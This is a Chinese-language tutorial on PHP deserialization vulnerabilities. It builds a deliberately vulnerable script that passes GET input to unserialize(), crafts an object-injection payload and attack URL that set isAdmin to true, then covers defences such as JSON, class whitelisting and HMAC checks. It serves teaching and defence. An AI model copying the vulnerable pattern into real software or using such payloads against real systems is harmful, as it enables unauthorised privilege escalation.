php反序列化靶机serial实战

PHP反序列化靶机serial实战

在Web安全领域，PHP反序列化漏洞是一种常见的漏洞类型，攻击者可以利用该漏洞执行任意代码，获取敏感信息，甚至控制服务器。本文将深入探讨PHP反序列化的工作原理，并通过一个实战靶机的例子来展示如何利用反序列化漏洞进行攻击和防护。

一、PHP反序列化的基本原理

反序列化是指将序列化的数据（通常是字符串）转换回原来的对象。在PHP中，serialize()函数用于将PHP变量序列化为字符串，unserialize()函数用于将序列化的字符串恢复为PHP变量。

// 序列化
$object = new stdClass();
$object->name = "John";
$object->age = 30;
$serialized = serialize($object);
echo $serialized; // 输出: O:8:"stdClass":2:{s:4:"name";s:4:"John";s:3:"age";i:30;}

// 反序列化
$unserialized = unserialize($serialized);
print_r($unserialized); // 输出: stdClass Object ( [name] => John [age] => 30 )

二、反序列化漏洞的产生

当未对反序列化输入进行适当的验证时，攻击者可以通过构造恶意的序列化数据来注入任意对象，从而执行任意代码。特别是，当类包含 __wakeup()或 __destruct()魔术方法时，这些方法在对象反序列化时会被自动调用。

三、构建靶机环境

为了演示反序列化漏洞，我们首先构建一个简单的PHP应用，其中包含反序列化操作。

<?php
class User {
    public $username;
    public $isAdmin = false;

    public function __construct($username) {
        $this->username = $username;
    }

    public function __wakeup() {
        if ($this->isAdmin) {
            $this->grantAdminPrivileges();
        }
    }

    private function grantAdminPrivileges() {
        echo "Admin privileges granted to {$this->username}\n";
    }
}

// 模拟从用户输入中获取的序列化字符串
$input = $_GET['data'];
$user = unserialize($input);
?>

在这个示例中，User类包含一个 __wakeup()方法，该方法在反序列化时自动调用。如果 isAdmin属性为 true，则授予管理员权限。

四、利用反序列化漏洞

为了利用这个漏洞，攻击者可以构造一个恶意的序列化字符串，将 isAdmin属性设置为 true。

<?php
class User {
    public $username;
    public $isAdmin = true; // 设置为true

    public function __construct($username) {
        $this->username = $username;
    }

    public function __wakeup() {
        if ($this->isAdmin) {
            $this->grantAdminPrivileges();
        }
    }

    private function grantAdminPrivileges() {
        echo "Admin privileges granted to {$this->username}\n";
    }
}

$maliciousUser = new User('attacker');
$payload = serialize($maliciousUser);
echo $payload; // 输出恶意的序列化字符串
?>

生成的恶意序列化字符串为：

O:4:"User":2:{s:8:"username";s:8:"attacker";s:7:"isAdmin";b:1;}

攻击者将该字符串作为参数传递给应用程序：

http://example.com/vulnerable.php?data=O:4:"User":2:{s:8:"username";s:8:"attacker";s:7:"isAdmin";b:1;}

五、防御措施

为了防止反序列化漏洞，可以采取以下防御措施：

1. 避免使用 `unserialize()` 函数

尽可能避免使用 unserialize() 函数，使用JSON格式替代，如 json_encode() 和 json_decode()。

// 使用json_encode和json_decode替代
$json = json_encode($object);
$decoded = json_decode($json);

2. 使用白名单

在反序列化之前，使用白名单确保只有预期的类可以被反序列化。

class User {
    // 定义白名单
    private static $allowedClasses = ['User'];

    public static function safeUnserialize($data) {
        $object = unserialize($data, ["allowed_classes" => self::$allowedClasses]);
        return $object;
    }
}

3. 数据完整性校验

使用数据完整性校验（如HMAC）来验证序列化数据的来源和完整性。

$key = 'secret_key';

// 生成HMAC
$data = serialize($object);
$hmac = hash_hmac('sha256', $data, $key);
$payload = base64_encode($data . '|' . $hmac);

// 验证HMAC
list($data, $hmac) = explode('|', base64_decode($payload));
if (hash_hmac('sha256', $data, $key) === $hmac) {
    $object = unserialize($data);
} else {
    die('Invalid data');
}

六、思维导图

PHP反序列化漏洞
│
├── 原理
│   ├── 序列化与反序列化
│   └── __wakeup 与 __destruct
│
├── 漏洞产生
│   ├── 未验证输入
│   └── 恶意对象注入
│
├── 实战演示
│   ├── 构建靶机
│   └── 构造恶意序列化字符串
│
└── 防御措施
    ├── 避免使用 unserialize
    ├── 使用白名单
    └── 数据完整性校验

七、总结

PHP反序列化漏洞是一种常见且危害严重的漏洞。通过了解其原理和利用方式，开发者可以更好地识别和防御此类漏洞。采取适当的防御措施，如避免使用 unserialize()、使用白名单和数据完整性校验，可以显著提高应用程序的安全性。希望本文能帮助你更好地理解和应对PHP反序列化漏洞。